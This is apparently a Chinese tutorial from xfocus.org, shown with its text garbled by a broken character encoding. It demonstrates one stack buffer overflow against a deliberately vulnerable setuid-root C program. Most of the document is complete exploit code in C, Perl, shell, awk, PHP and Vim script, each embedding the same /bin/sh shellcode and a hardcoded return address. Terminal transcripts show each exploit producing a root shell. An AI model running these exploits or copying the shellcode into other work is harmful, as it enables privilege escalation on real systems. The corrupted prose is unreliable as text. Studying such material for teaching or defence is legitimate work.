Òç³öÀûÓóÌÐò²»½ö½öÊÇÖ»ÄÜÓÃcÓïÑÔ±àд£¬Æäʵ¼¸ºõÈκαà³ÌÓïÑÔ¶¼ÄÜÓÃÀ´±àд
¡¡¡¡Òç³öÀûÓóÌÐò£¬ÕâÀïÓÃLinux×÷ΪÊÔÑéÆ½Ì¨£¬ÒÔʵÀýÑÝʾC¡¢Perl¡¢Shell¡¢Awk
¡¡¡¡ÓïÑÔ±àдÒç³öÀûÓóÌÐò¡£Ö®ËùÒÔÑ¡ÔñÕ⼸¸öÓïÑÔÊÇÒòΪËûÃǶ¼¼¸ºõÊÇUnixϵͳ
¡¡¡¡×Ô´øµÄÓïÑÔ(ÉÌÓÃUnixϵͳÖÐCÓïÑÔÀýÍâ)¡£Ê¾ÀýÖлù±¾¶¼ÊǰÑSHELLCODE·Åµ½
¡¡¡¡»·¾³±äÁ¿ÖÐÀ´ÊµÏÖ¾«È·¶¨Î»µÄ¡£
¡¡¡¡<Ò»> ÓÐÒç³ö©¶´µÄvul.c
¡¡¡¡[cloud@test]$Content$nbsp;id
¡¡¡¡uid=505(cloud) gid=503(test) groups=503(test)
¡¡¡¡[cloud@test]$Content$nbsp;cat vul.c
¡¡¡¡/* Demo
¡¡¡¡Have a bof vul at argv[1].
¡¡¡¡Write by watercloud @ xfocus.org
¡¡¡¡*/
¡¡¡¡#include
¡¡¡¡int main(int argc,char * argv[])
¡¡¡¡{
¡¡¡¡char buff[32];
¡¡¡¡if(argc > 1)
¡¡¡¡{
¡¡¡¡strcpy(buff,argv[1]);
¡¡¡¡}
¡¡¡¡printf("buff : %s\n",buff);
¡¡¡¡return 0;
¡¡¡¡}
¡¡¡¡[cloud@test]$Content$nbsp;gcc vul.c -o vul
¡¡¡¡[cloud@test]$Content$nbsp;ls -l vul
¡¡¡¡-rwxr-xr-x 1 cloud test 11627 2ÔÂ 24 10:14 vul
¡¡¡¡[cloud@test]$Content$nbsp;sudo chown root vul
¡¡¡¡[cloud@test]$Content$nbsp;sudo chmod u+s vul
¡¡¡¡[cloud@test]$Content$nbsp;ls -lh vul
¡¡¡¡-rwsr-xr-x 1 root test 11K 2ÔÂ 24 10:14 vul
¡¡¡¡<¶þ> CÓïÑÔ°æ±¾ÀûÓóÌÐòex.c
¡¡¡¡[cloud@test]$Content$nbsp;cat ex.c
¡¡¡¡/* Demo for exploit bof of "./vul"
¡¡¡¡Write by watercloud @ xfocus.org
¡¡¡¡*/
¡¡¡¡#include
¡¡¡¡#define TARGET "./vul"
¡¡¡¡#define ADDR 0xbffff3e8
¡¡¡¡char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"
¡¡¡¡"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
¡¡¡¡int main(int argc,char * argv[])
¡¡¡¡{
¡¡¡¡char env_buff[4000];
¡¡¡¡char cmd_buff[1024];
¡¡¡¡int i,ret;
¡¡¡¡unsigned int *pi;
¡¡¡¡char * pc;
¡¡¡¡for(i=0;i<3096;env_buff[i++]=0x90){ };
¡¡¡¡env_buff[i]=¡¯\0¡¯;
¡¡¡¡strcat(env_buff,SH);
¡¡¡¡setenv("KK",env_buff,1);
¡¡¡¡strcpy(cmd_buff,TARGET);
¡¡¡¡pc=&cmd_buff[strlen(TARGET)];
¡¡¡¡*pc++=¡¯ ¡¯;
¡¡¡¡for(ret=1,i=0;i<4 && ret;i++)
¡¡¡¡{
¡¡¡¡int j;
¡¡¡¡*pc++=¡¯A¡¯;
¡¡¡¡pi=(unsigned int *)pc;
¡¡¡¡for(j=0;j<20;*pi++=ADDR,j++){};
¡¡¡¡*pi=0;
¡¡¡¡ret=system(cmd_buff);
¡¡¡¡}
¡¡¡¡return ret;
¡¡¡¡}
¡¡¡¡[cloud@test]$Content$nbsp;gcc ex.c -o ex
¡¡¡¡[cloud@test]$Content$nbsp;./ex
¡¡¡¡buff : Aèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??
¡¡¡¡èóÿ¿è??
¡¡¡¡buff : AAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?
¡¡¡¡¿è?¿è??
¡¡¡¡buff : AAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?
¡¡¡¡ÿ¿è?¿è??
¡¡¡¡buff : AAAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è
¡¡¡¡?¿è?¿è??
¡¡¡¡sh-2.05b# id
¡¡¡¡uid=0(root) gid=503(test) groups=503(test)
¡¡¡¡sh-2.05b# exit
¡¡¡¡exit
¡¡¡¡<Èý> perlÓïÑÔ°æ±¾ÀûÓóÌÐòex.pl
¡¡¡¡[cloud@test]$Content$nbsp;cat ex.pl
¡¡¡¡#!/usr/bin/perl
¡¡¡¡# Demo for exploit bof of "./vul"
¡¡¡¡# Write by watercloud @ xfocus.org
¡¡¡¡#$ENV_LEN=`env |wc -c`
¡¡¡¡$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
¡¡¡¡$ENV{KK}= "\x90"x 3096 . $SHELL;
¡¡¡¡for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {
¡¡¡¡$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8
¡¡¡¡}
¡¡¡¡#EOF
¡¡¡¡[cloud@test]$Content$nbsp;perl ex.pl
¡¡¡¡buff : AAÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è
¡¡¡¡?¿è?¿è?
¡¡¡¡sh-2.05b# id
¡¡¡¡uid=0(root) gid=503(test) groups=503(test)
¡¡¡¡sh-2.05b# exit
¡¡¡¡exit
¡¡¡¡<ËÄ> ShellÓïÑÔ°æ±¾ÀûÓóÌÐòex.sh
¡¡¡¡[cloud@test]$Content$nbsp;cat ex.sh
¡¡¡¡#/bin/bash
¡¡¡¡# Demo for exploit bof of "./vul"
¡¡¡¡# Write by watercloud @ xfocus.org
¡¡¡¡#ENV_LEN=`env |wc -c|tr -d ¡¯ ¡¯`
¡¡¡¡SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
¡¡¡¡AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
¡¡¡¡for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
¡¡¡¡export AGSHELL=$AG`echo -e $SH`
¡¡¡¡for((i=0;i<4;i++)) ;do
¡¡¡¡AA=$AA"A"
¡¡¡¡if ./vul $AA`echo -e $AD`
¡¡¡¡then break
¡¡¡¡fi
¡¡¡¡done
¡¡¡¡#EOF
¡¡¡¡[cloud@test]$Content$nbsp;chmod a+x ex.sh
¡¡¡¡[cloud@test]$Content$nbsp;./ex.sh
¡¡¡¡buff : Aÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?
¡¡¡¡ÿ¿è?¿è?
¡¡¡¡./ex.sh: line 16: 5287 ¶Î´íÎó ./vul $AA`echo -e $AD`
¡¡¡¡buff : AAÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è
¡¡¡¡?¿è?¿è?
¡¡¡¡sh-2.05b# id
¡¡¡¡uid=0(root) gid=503(test) groups=503(test)
¡¡¡¡sh-2.05b# exit
¡¡¡¡exit
¡¡¡¡<Îå> awkÓïÑÔ°æ±¾ÀûÓóÌÐòex.awk
¡¡¡¡[cloud@test]$Content$nbsp;cat ex.awk
¡¡¡¡# Demo for exploit bof of "./vul"
¡¡¡¡# Write by watercloud @ xfocus.org
¡¡¡¡BEGIN{
¡¡¡¡SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
¡¡¡¡AG="AA";
¡¡¡¡for ( i=0;i<10;i++)
¡¡¡¡{
¡¡¡¡AG=AG""AG;
¡¡¡¡}
¡¡¡¡AG=AG""AG""AG #3096
¡¡¡¡for(i=0;i<20;i++)
¡¡¡¡{
¡¡¡¡AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
¡¡¡¡}
¡¡¡¡AA="AA"
¡¡¡¡for(i=0;i<4;i++)
¡¡¡¡{
¡¡¡¡AA=AA"A"
¡¡¡¡system("./vul "AA""AD" "AG""SH)
¡¡¡¡}
¡¡¡¡}
¡¡¡¡#EOF
¡¡¡¡[cloud@test]$Content$nbsp;gawk -f ex.awk /dev/null
¡¡¡¡buff : AAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??
¡¡¡¡buff : AAAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??
¡¡¡¡sh-2.05b# id
¡¡¡¡uid=0(root) gid=503(test) groups=503(test)
¡¡¡¡sh-2.05b#
¡¡¡¡<Áù> PHP°æ±¾
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;id
¡¡¡¡uid=502(cloud) gid=502(cloud) groups=502(cloud)
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;ls -l vul
¡¡¡¡-rwsr-xr-x 1 root root 4895 2ÔÂ 26 20:57 vul
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;cat ex.php
¡¡¡¡
¡¡¡¡$SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
¡¡¡¡$AG="AA";
¡¡¡¡for( $i=0;$i<10;$i++){
¡¡¡¡$AG.=$AG;
¡¡¡¡}
¡¡¡¡$AG.=$AG.$AG; #3096
¡¡¡¡for($i=0;$i<20;$i++) {
¡¡¡¡$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8
¡¡¡¡}
¡¡¡¡for($i=0;$i<4;$i++) {
¡¡¡¡$AA.="A";
¡¡¡¡print system("./vul ".$AA.$AD.$AG.$SH);
¡¡¡¡}
¡¡¡¡?>
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;php ex.php 1>/dev/null
¡¡¡¡id >&2
¡¡¡¡uid=0(root) gid=502(cloud) groups=502(cloud)
¡¡¡¡exit
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;
¡¡¡¡<Æß> VimÀ©Õ¹½Å±¾°æ±¾
¡¡¡¡Á¬vim±à¼Æ÷µÄÀ©Õ¹±à³Ì½Å±¾Ò²¿ÉÒÔÄÃÀ´Ð´Òç³öµÄ˵£º
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;id
¡¡¡¡uid=502(cloud) gid=502(cloud) groups=502(cloud)
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;cat ex.vim
¡¡¡¡let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"
¡¡¡¡let AG="AA"
¡¡¡¡let i=0
¡¡¡¡while(i<10)
¡¡¡¡let AG=AG.AG
¡¡¡¡let i=i+1
¡¡¡¡endwhile
¡¡¡¡let AG=AG.AG.AG
¡¡¡¡"len of AG is 3096
¡¡¡¡let AD=""
¡¡¡¡let i=0
¡¡¡¡while(i<20)
¡¡¡¡let AD=AD."\xff\xbf\xe8\xf3"
¡¡¡¡"ADDR:0xbffff3e8
¡¡¡¡let i=i+1
¡¡¡¡endwhile
¡¡¡¡let AA=""
¡¡¡¡let i=0
¡¡¡¡while(i<4)
¡¡¡¡let AA=AA."A"
¡¡¡¡execute "!./vul ". AA . AD . AG . SH
¡¡¡¡let i=i+1
¡¡¡¡endwhile
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;ls -l vul
¡¡¡¡-rwsr-xr-x 1 root root 4895 2ÔÂ 26 20:57 vul
¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;vim -eS ex.vim
¡¡¡¡Xlib: connection to ":0.0" refused by server
¡¡¡¡Xlib: No protocol specified
¡¡¡¡buff : A�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿èóAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
¡¡¡¡AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
¡¡¡¡AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡
¡¡¡¡AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1ÀPPP[YZ4ÐÍ�j
¡¡¡¡X™Rhn/shh//biT[RSTYÍ€
¡¡¡¡sh-2.05b# id
¡¡¡¡uid=0(root) gid=502(cloud) groups=502(cloud)
¡¡¡¡sh-2.05b#
¡¡¡¡<°Ë> ¡¡
¡¡¡¡<¾Å> СÓï
¡¡¡¡Òç³öµÄ¸ù±¾ÔÚÓÚµØÖ·¶¨Î»¡¢¶ÑÕ»µÈÊý¾Ý½á¹¹µÄʹÓÃÔ¼¶¨ºÍ×éÖ¯¡¢²Ù×÷ϵͳÔËÐÐʱ½á¹¹µÈÁ˽âÕâЩ֪ʶºóÒç³öÀûÓñ¾ÉúºÍ±à³ÌÓïÑÔÊÇûÓйØÏµµÄ¡£
|